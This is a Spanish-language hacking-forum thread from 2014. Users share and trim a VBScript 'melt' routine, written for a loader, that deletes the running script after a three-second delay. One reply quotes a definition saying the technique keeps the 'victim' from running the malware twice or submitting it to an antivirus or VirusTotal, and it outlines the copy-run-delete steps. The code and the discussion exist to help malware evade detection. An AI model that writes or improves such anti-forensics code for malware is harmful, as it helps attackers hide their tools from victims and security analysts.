Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: xXSCORPIOXx en 18 Marzo 2014, 01:25 am



Título: [VBS]Perfect Melt
Publicado por: xXSCORPIOXx en 18 Marzo 2014, 01:25 am
Bueno, este Melt lo acabo de hacer para el SafeLoader 2.0, trata de no dejar ningun rastro del archivo, por eso todo se hace "On the Fly".  >:D

Código
  1. sMelt(WScript.ScriptFullName)
  2.  
  3. Function sMelt(sFile)
  4.    On Error Resume Next
  5.  
  6. Dim sFunction
  7.  
  8.    sFunction = "WScript.Sleep 3000: Set Melt = CreateObject(" & Chr(34) & "Scripting.FileSystemObject" & Chr(34) & "): Melt.DeleteFile " & Chr(34) & sFile & Chr(34)
  9.  
  10. Execute(sFunction)
  11. End Function

//Regards.


Título: Re: [VBS]Perfect Melt
Publicado por: Mad Antrax en 18 Marzo 2014, 11:17 am
Me viene perfecto para mi proyecto. Lo puedo usar?


Título: Re: [VBS]Perfect Melt
Publicado por: xXSCORPIOXx en 18 Marzo 2014, 15:06 pm
Eso ni se pregunta bro.  ;D

//Regards.


Título: Re: [VBS]Perfect Melt
Publicado por: PedroDJavier en 18 Marzo 2014, 15:29 pm
Perdona mi ignorancia  :P esto se supone que borra un archivo o como xD

Un  saludo


Título: Re: [VBS]Perfect Melt
Publicado por: Mad Antrax en 18 Marzo 2014, 16:16 pm
Perdona mi ignorancia  :P esto se supone que borra un archivo o como xD

Un  saludo

[Source] How to Melt a file in VB6
http://foro.elhacker.net/programacion_visual_basic/source_how_to_melt_a_file_in_vb6-t164724.0.html

Aquí lo explica todo, sería la función Melt para VB6:

Citar
Definición
Se llama "Melt" cuando un usuario ejecuta un archivo y este desaparece (se auto-elimina) después de ejecutarse, esta función es necesaria para evitar que nuestra víctima ejecute 2 veces nuestro malware o evitar que la victima lo envíe a un Antivirus o a virustotal después de ejecutarlo, su estructura es...

1) Ejecuto el archivo (A)
2) El archivo (A) se copia en otro lugar (B)
3) El archivo (A) ejecuta el archivo (B)
4) El archivo (B) borra el archivo (A)
5) El archivo (B) sigue ejecutando el resto de malware...


Título: Re: [VBS]Perfect Melt
Publicado por: 79137913 en 20 Marzo 2014, 17:28 pm
HOLA!!!

Por que no optimizamos el codigo un poco:

Código
  1.    sMelt(WScript.ScriptFullName)
  2.  
  3.    Function sMelt(sFile)
  4.       On Error Resume Next
  5.       Execute("WScript.Sleep 3000: Set Melt = CreateObject(" & Chr(34) & "Scripting.FileSystemObject" & Chr(34) & "): Melt.DeleteFile " & Chr(34) & sFile & Chr(34))
  6.    End Function

GRACIAS POR LEER!!!


Título: Re: [VBS]Perfect Melt
Publicado por: xXSCORPIOXx en 21 Marzo 2014, 01:39 am
HOLA!!!

Por que no optimizamos el codigo un poco:

Código
  1.    sMelt(WScript.ScriptFullName)
  2.  
  3.    Function sMelt(sFile)
  4.       On Error Resume Next
  5.       Execute("WScript.Sleep 3000: Set Melt = CreateObject(" & Chr(34) & "Scripting.FileSystemObject" & Chr(34) & "): Melt.DeleteFile " & Chr(34) & sFile & Chr(34))
  6.    End Function

GRACIAS POR LEER!!!

Me gusta declarar las cosas, y mas en una funcion.

//Regards.


Título: Re: [VBS]Perfect Melt
Publicado por: 79137913 en 21 Marzo 2014, 01:58 am
HOLA!!!

Esta bien lo que planteas, pero planteate para que declaras sFunction, si se usa una sola vez, osea, perdes 2 lineas de codigo y reservas un espacio en memoria que no sera necesario nunca mas.

Esta bien que quieras declararla pero quiero que entiendas que no es practico, no mejora la lectura del codigo, no mejora la longitud del codigo y tampoco el rendimiento.

Es mas, no quise cambiarte la parte que dice sFile por que tampoco es necesaria, ya que siempre sera WScript.ScriptFullName... sino no seria Melt seria una funcion para eliminado con retraso desde otro script.

Por ende tu codigo si se quiere Funcionalizar (ser llamado de una funcion) si lo reducimos al maximo seria asi:
Voy a usar un sub para no entregar retorno (que tampoco entrega tu funcion).
Código
  1. sMelt()
  2.  
  3.       Sub sMelt()
  4.          On Error Resume Next
  5.          Execute("WScript.Sleep 3000: Set Melt = CreateObject(" & Chr(34) & "Scripting.FileSystemObject" & Chr(34) & "): Melt.DeleteFile " & Chr(34) & WScript.ScriptFullName & Chr(34))
  6.       End Sub

Se podria seguir reduciendo quitando las llamadas a Chr(34) ahi si convendria usar una variable para no llamar tantas veces a una funcion con el mismo parametro, aunque tambien podrias poner las comillas dentro del string sin usar ni un Chr usando "" supongo, no lo testee aun esto ultimo de la doble comilla doble.

GRACIAS POR LEER!!!